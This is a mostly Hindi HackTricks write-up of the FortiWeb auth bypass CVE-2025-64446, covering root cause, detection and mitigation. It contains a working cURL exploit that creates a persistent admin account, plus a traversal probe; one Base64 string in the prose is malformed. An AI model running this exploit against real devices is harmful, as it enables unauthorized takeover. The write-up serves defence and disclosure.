Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
सारांश
Fortinet FortiWeb एक केंद्रीकृत CGI dispatcher को /cgi-bin/fwbcgi पर एक्सपोज़ करता है।
A two-bug chain एक प्रमाणीकरणरहित रिमोट अटैकर को अनुमति देती है:
- URL को एक वैध API prefix से शुरू करके और traversing directories करके
fwbcgiतक पहुंचना। - CGI जिस विशेष HTTP header को identity के रूप में trust करता है, उसे सप्लाई करके किसी भी user (built-in
adminसहित) को Impersonate करना।
Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). Exploitation has been observed in the wild to create persistent admin users.
प्रभावित संस्करण (सार्वजनिक रूप से दस्तावेजीकृत):
- 8.0 < 8.0.2
- 7.6 < 7.6.5
- 7.4 < 7.4.10
- 7.2 < 7.2.12
- 7.0 < 7.0.12
- 6.4 ≤ 6.4.3
- 6.3 ≤ 6.3.23
FortiWeb 8.0.2 नीचे दिए गए traversal probe के लिए HTTP 403 रिटर्न करता है।
त्वरित भेद्यता जांच
- Path traversal from API prefix to
fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
- व्याख्या: HTTP 200 → संभावित रूप से असुरक्षित; HTTP 403 → पैच किया गया।
Root cause chain
- API-prefix path traversal to internal CGI
- कोई भी अनुरोध पथ जो एक वैध FortiWeb API prefix (उदा.,
/api/v2.0/cmdb/या/api/v2.0/cmd/) से शुरू होता है,../के साथ/cgi-bin/fwbcgiतक traverse कर सकता है।
- Minimal-body validation bypass
- एक बार
fwbcgiतक पहुँचने पर, पहला gate/var/log/inputcheck/के अंतर्गत प्रति-पथ फ़ाइल द्वारा keyed एक permissive JSON चेक करता है। यदि फ़ाइल अनुपस्थित है, तो चेक तुरंत पास हो जाता है। यदि मौजूद है, तो बॉडी को केवल मान्य JSON होना चाहिए। न्यूनतम अनुरूप बॉडी के रूप में{}का उपयोग करें।
- Header-driven user impersonation
- प्रोग्राम CGI environment variable
HTTP_CGIINFO(जो HTTP headerCGIINFOसे निकला होता है) पढ़ता है, इसे Base64-decode करता है, JSON parse करता है, और attributes को सीधे login context में कॉपी कर देता है, domain/VDOM सेट करते हुए। रुचि की कुंजियाँ: username,loginname,vdom,profname- Example JSON to impersonate the built-in admin:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
उपरोक्त का Base64 (जैसा कि वास्तविक दुनिया में उपयोग किया जाता है):
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
एंड-टू-एंड दुरुपयोग पैटर्न (प्रमाणीकरण रहित → admin)
- API-prefix traversal के माध्यम से
/cgi-bin/fwbcgiतक पहुँचें. - इनपुट चेक पूरा करने के लिए कोई भी वैध JSON बॉडी (उदा.,
{}) प्रदान करें. - हेडर
CGIINFO: <base64(json)>भेजें जहाँ JSON लक्ष्य पहचान को परिभाषित करता है. - प्रिविलेज्ड कार्रवाइयाँ करने के लिए
fwbcgiद्वारा अपेक्षित बैकएंड JSON को POST करें (उदा., स्थायित्व के लिए एक admin उपयोगकर्ता बनाना).
न्यूनतम cURL PoC
- Probe traversal exposure:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
- admin की नकल करके एक नया local admin user बनाएं:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
नोट:
- यदि
/var/log/inputcheck/<path>.jsonमौजूद नहीं है तो कोई भी वैध JSON बॉडी पर्याप्त है (उदा.,{})। - The action schema is FortiWeb-internal; ऊपर दिया उदाहरण एक local admin को full privileges देता है।
पता लगाना
- ऐसे अनुरोध जो API-prefix paths जिनमें
../शामिल हो के माध्यम से/cgi-bin/fwbcgiतक पहुँचते हैं (उदा.,/api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi)। - हेडर
CGIINFOकी उपस्थिति जिसमें Base64 JSON हो और keysusername/loginname/vdom/profnameशामिल हों। - बैकएंड आर्टिफैक्ट्स:
/var/log/inputcheck/के अंतर्गत per-path फाइलें (gate configuration)।- अनपेक्षित admin निर्माण और configuration परिवर्तन।
- त्वरित सत्यापन: traversal probe का 200 (exposed) लौटाना बनाम 403 (fixed builds में blocked)।
निवारण
- विक्रेता की advisory के अनुसार fixed releases (उदा.: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) पर अपग्रेड करें।
- पैच लागू होने तक:
- FortiWeb management plane को untrusted नेटवर्क्स के सामने एक्सपोज़ न करें।
- ब्लॉक करने के लिए reverse-proxy/WAF नियम जोड़ें:
- ऐसे Paths जो
/api/से शुरू हों और../cgi-bin/fwbcgiशामिल करें। CGIINFOहेडर वाले अनुरोध।- ऊपर दिए गए पता लगाने संकेतकों पर मॉनिटर और अलर्ट सेट करें।
References
- When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)
- watchTowr vs FortiWeb Auth Bypass — Detection artefact generator
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
HackTricks

